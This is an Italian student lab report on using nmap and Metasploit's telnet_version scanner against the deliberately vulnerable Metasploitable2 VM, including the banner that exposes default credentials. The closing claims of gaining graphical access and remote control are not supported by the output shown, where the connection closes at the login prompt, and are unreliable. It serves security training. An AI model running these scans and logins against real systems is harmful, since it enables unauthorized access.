

EXPLOIT SU PROTOCOLLO TELNET

Traccia: Sulla base dell'esercizio visto in lezione teorica, utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

Svolgimento:

L'esercizio di oggi è analogo a quello eseguito ieri, si chiede l'utilizzo di Metasploit per andare ad attaccare Metasploitable2 tramite protocollo Telnet, ovvero un protocollo non criptato che consente di utilizzare un dispositivo da remoto.

Protocollo Telnet su Metasploit

Per prima cosa, si va a verificare che il dispositivo attaccante Kali Linux comunichi correttamente con quello Metasploitable, dopo aver verificato ciò andrò ad eseguire il comando nmap:

```
nmap -sV 192.168.1.247
```

Tramite questo comando potremo andare a verificare quali porte sono aperte sul dispositivo in questione per andare ad individuare se la porta 23 è aperta e quindi è possibile effettuare l'attacco con successo.

Andremo ad attivare Metasploit sulla macchina Kali Linux per andare ad attivare l'exploit interessato.

```
Metasploit Documentation: https://docs.metasploit.com/
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

Questo sarà il modulo ausiliare che andremo ad utilizzare per utilizzare il protocollo Telnet su Metasploitable.

I moduli ausiliari hanno la funzione di effettuare attacchi non diretti alla macchina bersaglio, ed hanno l'utilità di raccogliere informazioni per effettuare attacchi mirati e più precisi.

Il prossimo passo sarà quello di settare le impostazioni tramite il comando:
set RHOSTS 192.168.1.247

```
Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  ----      -
  PASSWORD  192.168.1.247         no        The password for the specified username
  RHOSTS     192.168.1.247         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      23                    yes       The target port (TCP)
  THREADS    1                     yes       The number of concurrent threads (max one per host)
  TIMEOUT    30                    yes       Timeout for the Telnet probe
  USERNAME   no                     no        The username to authenticate as

View the full module info with the info, or info -d command.
```

Avvio attacco

Dopo aver settato l'attacco sulla macchina interessata, andremo ad avviarlo per scoprire le credenziali di accesso della macchina bersaglio.

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[*] 192.168.1.247:23 - 192.168.1.247:23 TELNET
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login: Connection closed by foreign host.
[*] 192.168.1.247:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) > ifconfig
[*] exec: ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.102 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::cf0e:95a7:d960:506a prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:ad:25:87 txqueuelen 1000 (Ethernet)
    RX packets 3274 bytes 320023 (312.5 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 3010 bytes 229992 (224.6 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 8 bytes 480 (480.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 8 bytes 480 (480.0 B)
```

Da notare come con ifconfig risulteremo ancora all'interno della macchina Kali, ma conosceremo le credenziali per accedere alla macchina Metasploitable.

Per avviare il protocollo telnet invieremo il comando:

telnet 192.168.1.247

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.247
[*] exec: telnet 192.168.1.247

Trying 192.168.1.247 ...
Connected to 192.168.1.247.
Escape character is '^['.

metasploitable

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: Connection closed by foreign host.
msf6 auxiliary(scanner/telnet/telnet_version) >
```

Adesso Metasploit ci ha consentito di entrare nell'interfaccia grafica di Metasploitable2 e potremo eseguire le operazioni come se fossimo su quel dispositivo.

Conclusioni

L'attacco eseguito con Metasploit contro il protocollo Telnet ha il fine di accedere senza autorizzazioni all'interno della macchina bersaglio e ne consente il controllo da remoto, il protocollo Telnet è considerato una vulnerabilità piuttosto grave in quanto, non essendo criptato, trasmette i dati in chiaro, compresi username e password.

*Progetto a cura di
Sonia Laterza*